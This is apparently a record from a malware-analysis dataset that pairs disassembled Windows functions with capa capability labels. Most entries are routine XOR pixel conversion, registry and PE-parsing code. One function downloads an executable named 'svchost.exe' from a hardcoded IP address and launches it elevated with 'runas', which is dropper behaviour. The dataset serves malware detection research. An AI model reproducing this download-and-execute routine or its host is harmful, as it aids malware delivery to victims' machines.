joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100083800
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
imul r9d, dword [rsp + 0x50]
mov rbx, rdx
mov rbp, rcx
mov edi, r9d
add rdi, rdx
cmp rdx, rdi
jae 0x100083931
mov r13d, dword [rsp + 0x50]
mov r14d, dword [rsp + 0x58]
mov eax, r8d
lea rsi, [rdx + rax*4]
mov edx, 0xffc03fc0
lea r12, [r13 + r13]
mov r15, rbx
cmp rbx, rsi
jae 0x10008391f
mov r14, rbp
mov r11d, dword [r15 + 4]
mov r9d, dword [r15]
mov r10d, dword [r13 + r15]
mov r8d, dword [r13 + r15 + 4]
mov ecx, r9d
mov eax, r11d
shr eax, 2
shr ecx, 2
add r15, 8
and eax, edx
and ecx, edx
add ecx, eax
mov eax, r10d
shr eax, 2
and eax, edx
add ecx, eax
mov eax, r8d
shr eax, 2
and eax, edx
lea edx, [rcx + rax - 0x7fff80]
mov ecx, r10d
shr r10d, 2
and ecx, 0xff00ff
mov eax, r8d
shr r8d, 2
and eax, 0xff00ff
add ecx, eax
mov eax, r9d
shr r9d, 2
and eax, 0xff00ff
add ecx, eax
mov eax, r11d
shr r11d, 2
and eax, 0xff00ff
lea ecx, [rcx + rax + 0x20002]
shr ecx, 2
xor edx, ecx
mov ecx, 0x3fc03fc0
and r10d, ecx
and edx, 0xff00ff
and r8d, ecx
add r10d, r8d
and r9d, ecx
and r11d, ecx
add r10d, r9d
lea eax, [r10 + r11 + 0x800080]
xor edx, eax
mov dword [r14], edx
add r14, 4
mov edx, 0xffc03fc0
cmp r15, rsi
jb 0x10008385d
mov r14d, dword [rsp + 0x58]
add rbx, r12
add rbp, r14
add rsi, r12
cmp rbx, rdi
jb 0x10008384e
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x100083adc
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rsi, rcx
mov edi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul edi, dword [rdx + 0x80]
add rdi, rbx
jmp 0x100083c04
mov eax, dword [rdx + 0x88]
mov r12d, dword [rdx + 0x80]
mov r15, rbp
lea r13, [rbx + rax*2]
add r12, rbx
mov r14, rbx
cmp rbx, r13
jae 0x100083bea
mov esi, 0x7e0
movzx r8d, word [r12]
movzx r10d, word [r14]
movzx r9d, word [r14 + 2]
movzx r11d, word [r12 + 2]
mov edx, 0xf81f
mov ecx, r10d
and ecx, edx
mov eax, r8d
add r14, 4
and eax, edx
add r12, 4
add ecx, eax
mov eax, r9d
and eax, edx
add ecx, eax
mov eax, r11d
and eax, edx
lea edx, [rcx + rax + 0x1002]
mov ecx, r10d
mov eax, r8d
and eax, esi
and ecx, esi
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, esi
add ecx, eax
mov eax, r11d
and eax, esi
lea ecx, [rcx + rax + 0x40]
mov eax, 0xf81f
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
shr ecx, 2
xor dx, cx
add r10d, r9d
and dx, si
lea eax, [r10 + r11 + 0x1002]
shr eax, 2
xor dx, ax
mov word [r15], dx
add r15, 2
cmp r14, r13
jb 0x100083b47
mov rsi, qword [rsp + 0x30]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rdi
jb 0x100083b1f
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x100083d5c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rsi, rcx
mov edi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul edi, dword [rdx + 0x80]
add rdi, rbx
jmp 0x100083e87
mov eax, dword [rdx + 0x88]
mov r12d, dword [rdx + 0x80]
mov r15, rbp
lea r13, [rbx + rax*2]
add r12, rbx
mov r14, rbx
cmp rbx, r13
jae 0x100083e6d
mov esi, 0x7c1f
movzx r8d, word [r12]
movzx r10d, word [r14]
movzx r9d, word [r14 + 2]
movzx r11d, word [r12 + 2]
mov edx, 0x83e0
mov ecx, r10d
and ecx, edx
mov eax, r8d
add r14, 4
and eax, edx
add r12, 4
add ecx, eax
mov eax, r9d
and eax, edx
add ecx, eax
mov eax, r11d
and eax, edx
lea edx, [rcx + rax + 0x10040]
mov ecx, r10d
mov eax, r8d
and eax, esi
and ecx, esi
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, esi
add ecx, eax
mov eax, r11d
and eax, esi
lea ecx, [rcx + rax + 0x802]
mov eax, 0x83e0
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
shr ecx, 2
xor dx, cx
add r10d, r9d
and dx, si
lea eax, [r10 + r11 + 0x10040]
shr eax, 2
xor dx, ax
mov word [r15], dx
add r15, 2
cmp r14, r13
jb 0x100083dc7
mov rsi, qword [rsp + 0x30]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rdi
jb 0x100083d9f
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x100083eb4
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rsi, rcx
mov edi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul edi, dword [rdx + 0x80]
add rdi, rbx
jmp 0x100083fdf
mov eax, dword [rdx + 0x88]
mov r12d, dword [rdx + 0x80]
mov r15, rbp
lea r13, [rbx + rax*2]
add r12, rbx
mov r14, rbx
cmp rbx, r13
jae 0x100083fc5
mov esi, 0xf0f
movzx r8d, word [r12]
movzx r10d, word [r14]
movzx r9d, word [r14 + 2]
movzx r11d, word [r12 + 2]
mov edx, 0xf0f0
mov ecx, r10d
and ecx, edx
mov eax, r8d
add r14, 4
and eax, edx
add r12, 4
add ecx, eax
mov eax, r9d
and eax, edx
add ecx, eax
mov eax, r11d
and eax, edx
lea edx, [rcx + rax + 0x2020]
mov ecx, r10d
mov eax, r8d
and eax, esi
and ecx, esi
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, esi
add ecx, eax
mov eax, r11d
and eax, esi
lea ecx, [rcx + rax + 0x202]
mov eax, 0xf0f0
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
shr ecx, 2
xor dx, cx
add r10d, r9d
and dx, si
lea eax, [r10 + r11 + 0x2020]
shr eax, 2
xor dx, ax
mov word [r15], dx
add r15, 2
cmp r14, r13
jb 0x100083f1f
mov rsi, qword [rsp + 0x30]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rdi
jb 0x100083ef7
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x10008400c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rsi, rcx
mov edi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul edi, dword [rdx + 0x80]
add rdi, rbx
jmp 0x100084122
mov r12d, dword [rdx + 0x88]
mov r13d, dword [rdx + 0x80]
mov r15, rbp
add r12, rbx
add r13, rbx
mov r14, rbx
cmp rbx, r12
jae 0x100084108
movzx r8d, byte [r13]
movzx r10d, byte [r14]
movzx r9d, byte [r14 + 1]
movzx r11d, byte [r13 + 1]
mov edx, 0xe3
mov ecx, r10d
and ecx, edx
mov eax, r8d
add r14, 2
and eax, edx
add r13, 2
add ecx, eax
mov eax, r9d
and eax, edx
add ecx, eax
mov eax, r11d
and eax, edx
lea edx, [rcx + rax + 0x42]
mov ecx, r10d
mov eax, r8d
and eax, 0x1c
and ecx, 0x1c
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, 0x1c
add ecx, eax
mov eax, r11d
and eax, 0x1c
lea ecx, [rcx + rax + 8]
mov eax, 0xe3
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
shr ecx, 2
xor dl, cl
add r10d, r9d
and dl, 0x1c
lea eax, [r10 + r11 + 0x42]
shr eax, 2
xor dl, al
mov byte [r15], dl
inc r15
cmp r14, r12
jb 0x100084071
mov rax, qword [rsi + 8]
mov rdx, qword [rsi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rdi
jb 0x10008404e
mov rbx, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
ret
Function at 0x100084208
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rsi, rcx
mov edi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul edi, dword [rdx + 0x80]
add rdi, rbx
jmp 0x100084338
mov eax, dword [rdx + 0x88]
mov r12d, dword [rdx + 0x80]
mov r15, rbp
lea r13, [rbx + rax*2]
add r12, rbx
mov r14, rbx
cmp rbx, r13
jae 0x10008431e
mov esi, 0xe3
movzx r8d, word [r12]
movzx r10d, word [r14]
movzx r9d, word [r14 + 2]
movzx r11d, word [r12 + 2]
mov ecx, r10d
mov eax, r8d
and eax, esi
and ecx, esi
add r14, 4
add ecx, eax
mov eax, r9d
add r12, 4
and eax, esi
add ecx, eax
mov eax, r11d
and eax, esi
lea edx, [rcx + rax + 0x42]
mov ecx, r10d
mov eax, r8d
and eax, 0xff1c
and ecx, 0xff1c
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, 0xff1c
add ecx, eax
mov eax, r11d
and eax, 0xff1c
lea ecx, [rcx + rax + 0x208]
mov eax, 0xff1c
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
shr ecx, 2
xor dx, cx
add r10d, r9d
and dx, si
lea eax, [r10 + r11 + 0x208]
shr eax, 2
xor dx, ax
mov word [r15], dx
add r15, 2
cmp r14, r13
jb 0x100084273
mov rsi, qword [rsp + 0x30]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rdi
jb 0x10008424b
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x100084490
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rdi, rcx
mov esi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul esi, dword [rdx + 0x80]
add rsi, rbx
jmp 0x1000845b6
mov eax, dword [rdx + 0x88]
mov r12d, dword [rdx + 0x80]
mov r15, rbp
lea r13, [rbx + rax*2]
add r12, rbx
mov r14, rbx
cmp rbx, r13
jae 0x10008459c
movzx r8d, word [r12]
movzx r10d, word [r14]
movzx r9d, word [r14 + 2]
movzx r11d, word [r12 + 2]
movzx ecx, r10b
movzx eax, r8b
add ecx, eax
movzx eax, r9b
add r14, 4
add ecx, eax
movzx eax, r11b
add r12, 4
lea edx, [rcx + rax + 2]
mov ecx, r10d
mov eax, r8d
and eax, 0xff00
and ecx, 0xff00
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, 0xff00
add ecx, eax
mov eax, r11d
and eax, 0xff00
lea ecx, [rcx + rax + 0x200]
mov eax, 0xff
shr ecx, 2
xor dx, cx
and dx, ax
mov eax, 0xff00
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
add r10d, r9d
lea eax, [r10 + r11 + 0x200]
shr eax, 2
xor dx, ax
mov word [r15], dx
add r15, 2
cmp r14, r13
jb 0x1000844f5
mov rax, qword [rdi + 8]
mov rdx, qword [rdi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rsi
jb 0x1000844d2
mov rbx, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
ret
Function at 0x1000845e4
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rsi, rcx
mov edi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul edi, dword [rdx + 0x80]
add rdi, rbx
jmp 0x1000846fa
mov r12d, dword [rdx + 0x88]
mov r13d, dword [rdx + 0x80]
mov r15, rbp
add r12, rbx
add r13, rbx
mov r14, rbx
cmp rbx, r12
jae 0x1000846e0
movzx r8d, byte [r13]
movzx r10d, byte [r14]
movzx r9d, byte [r14 + 1]
movzx r11d, byte [r13 + 1]
mov edx, pe_nt_image_headers64
mov ecx, r10d
and ecx, edx
mov eax, r8d
add r14, 2
and eax, edx
add r13, 2
add ecx, eax
mov eax, r9d
and eax, edx
add ecx, eax
mov eax, r11d
and eax, edx
lea edx, [rcx + rax + 0x20]
mov ecx, r10d
mov eax, r8d
and eax, 0xf
and ecx, 0xf
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, 0xf
add ecx, eax
mov eax, r11d
and eax, 0xf
lea ecx, [rcx + rax + 2]
mov eax, pe_nt_image_headers64
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
shr ecx, 2
xor dl, cl
add r10d, r9d
and dl, 0xf
lea eax, [r10 + r11 + 0x20]
shr eax, 2
xor dl, al
mov byte [r15], dl
inc r15
cmp r14, r12
jb 0x100084649
mov rax, qword [rsi + 8]
mov rdx, qword [rsi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rdi
jb 0x100084626
mov rbx, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
ret

Function at 0x100084728
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, r8
lea rax, [r11 + 0x20]
lea r9, [r11 - 0x18]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x28], rdx
mov rdx, rcx
mov rcx, qword [rdi]
xor r8d, r8d
mov dword [rsp + 0x68], 4
call qword [sym.imp.KERNEL32.dll_RegQueryValueExA]
mov rcx, qword [rdi]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_RegCloseKey]
xor eax, eax
cmp ebx, eax
jne 0x10008477b
cmp dword [rsp + 0x30], 4
jne 0x10008477b
mov eax, 1
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x10008f560
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x10009f140]
jne 0x10008f57b
rol rcx, 0x10
test cx, 0xffff
jne 0x10008f577
ret 0
ror rcx, 0x10
jmp 0x10008f9d0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1000a7fa0]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov r11, qword [0x1000a8098]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.ntdll.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x10008fa55
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1000a7fa0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.ntdll.dll_RtlVirtualUnwind
jmp 0x10008fa77
mov rax, qword [rsp + 0x88]
mov qword [0x1000a8098], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1000a8038], rax
mov rax, qword [0x1000a8098]
mov qword [0x1000a7f10], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1000a8020], rax
mov dword [0x1000a7f00], 0xc0000409
mov dword [0x1000a7f04], 1
mov rax, qword [0x10009f140]
mov qword [rsp + 0x68], rax
mov rax, qword [0x10009f148]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x100002070]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x10008f86c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x10008f8b9
cmp rcx, 0xffffffffffffffff
je 0x10008f8b9
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x10008f8b1
cmp dword [rcx + 0x3c], edx
jl 0x10008f8b1
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10008f8b1
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x10008f8b9
mov rax, rdx
add rsp, 0x18
ret
Function at 0x10008fc60
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x10009f140]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x28]
add rcx, r8
call sub.msvcrt.dll_memset
and qword [rbx + 0x50], 0
and dword [rbx + 0x58], 0
and dword [rbx + 0x5c], 0
lea rax, [0x100000000]
mov esi, 0x94
lea rcx, [rsp + 0x20]
mov r8, rsi
xor edx, edx
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx], 0x60
mov byte [rbx + 0x18], 0
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x30], 2
mov esi, 1
jne 0x10008fcf3
cmp dword [rsp + 0x24], 5
jb 0x10008fd0d
jmp 0x10008fd09
cmp dword [rsp + 0x30], esi
jne 0x10008fd0d
cmp dword [rsp + 0x24], 4
ja 0x10008fd09
jne 0x10008fd0d
cmp dword [rsp + 0x28], 0
jbe 0x10008fd0d
mov byte [rbx + 0x18], sil
lea rax, [0x1000020a0]
lea rcx, [rbx + 0x28]
mov dword [rbx + 0x1c], 0x800
mov qword [rbx + 0x20], rax
call fcn.10008fb40
movzx ecx, byte [0x1000ab698]
test eax, eax
mov rax, rbx
cmovs ecx, esi
mov byte [0x1000ab698], cl
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.10008f560
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x10008ffd8
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x530
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x100090043
and qword [rsp + 0x38], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov r8, rbx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x100090063
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0xf8], rax
lea rcx, [0x100002128]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add rsp, 0x530
pop rbx
ret
Function at 0x140001000
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push rbx
sub rsp, 0x4d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4c0], rax
lea rax, [rsp + 0x2b0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x1400010fc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, eax
lea r8, [rsp + 0x2b0]
lea rdx, str._s_d.exe
lea rcx, [rsp + 0xa0]
call qword [sym.imp.USER32.dll_wsprintfW]
xor ebx, ebx
lea r8, [rsp + 0xa0]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.http:__24.230.108.63:870_serenity_svchost.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400010fc
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x70
xor eax, eax
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x94], rax
mov dword [rsp + 0x9c], eax
lea rax, str.runas
movups xmmword [rsp + 0x44], xmm0
movups xmmword [rsp + 0x34], xmm0
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xa0]
movups xmmword [rsp + 0x54], xmm0
mov qword [rsp + 0x48], rax
movups xmmword [rsp + 0x64], xmm0
mov dword [rsp + 0x60], ebx
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
sete bl
mov eax, ebx
jmp 0x140001101
mov eax, 1
mov rcx, qword [rsp + 0x4c0]
xor rcx, rsp
call fcn.140001130
add rsp, 0x4d0
pop rbx
ret

Function at 0x1400019f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a42
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a42
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a42
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a42
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a42
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a44
xor al, al
add rsp, 0x28
ret
Function at 0x1400080a0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rsi
sub rsp, 0x70
mov qword [rax - 0x48], 0
xor r9d, r9d
mov dword [rax - 0x50], 0x80
lea rcx, [0x140026200]
lea r8d, [r9 + 1]
mov edx, 0x40000000
mov dword [rax - 0x58], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400081f2
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], rbp
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], r12
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
lea rdx, str.DRV64:
mov r8d, 0xe
mov rcx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x80]
lea r12, [rsp + 0x88]
mov rdx, r12
call fcn.14000a9e4
mov rbp, 0xffffffffffffffff
add eax, 3
movsxd rdi, eax
mov eax, 2
mul rdi
cmovo rax, rbp
mov rcx, rax
call fcn.140009dbc
mov r8, qword [rsp + 0x80]
mov r9, r12
mov rcx, rax
mov rdx, rdi
mov rbx, rax
call fcn.14000ad50
lea r8, [0x14001df78]
mov rdx, rdi
mov rcx, rbx
call fcn.14000ad70
xor eax, eax
mov rcx, rbp
mov rdi, rbx
lea r9, [rsp + 0x40]
mov rdx, rbx
repne scasw ax, word [rdi]
mov qword [rsp + 0x20], rax
not rcx
lea r8d, [rcx + rcx - 2]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call fcn.14000ad68
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
add rsp, 0x70
pop rsi
ret
Function at 0x140008500
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0xa0
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov rax, qword [0x140023410]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov qword [r11 - 0x20], 7
xor ebx, ebx
mov qword [r11 - 0x28], rbx
mov word [rsp + 0x70], bx
mov dword [rsp + 0x50], ebx
mov dword [rsp + 0x54], ebx
lea rcx, str.rdev
call fcn.140004180
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x70]
call fcn.140006090
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 8
cmovae rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x50]
call fcn.140008210
mov dword [rsp + 0x58], eax
test eax, eax
jne 0x1400085b0
lea rcx, str.Device_removed_succesfully
call fcn.1400080a0
mov edx, ebx
cmp dword [rsp + 0x50], ebx
setne dl
mov dword [rsp + 0x54], edx
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf023f
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareIntelDifx64
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Code
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Reboot
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
cmp qword [rsp + 0x88], 8
jb 0x140008665
mov rcx, qword [rsp + 0x70]
call fcn.14000a84c
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140009e40
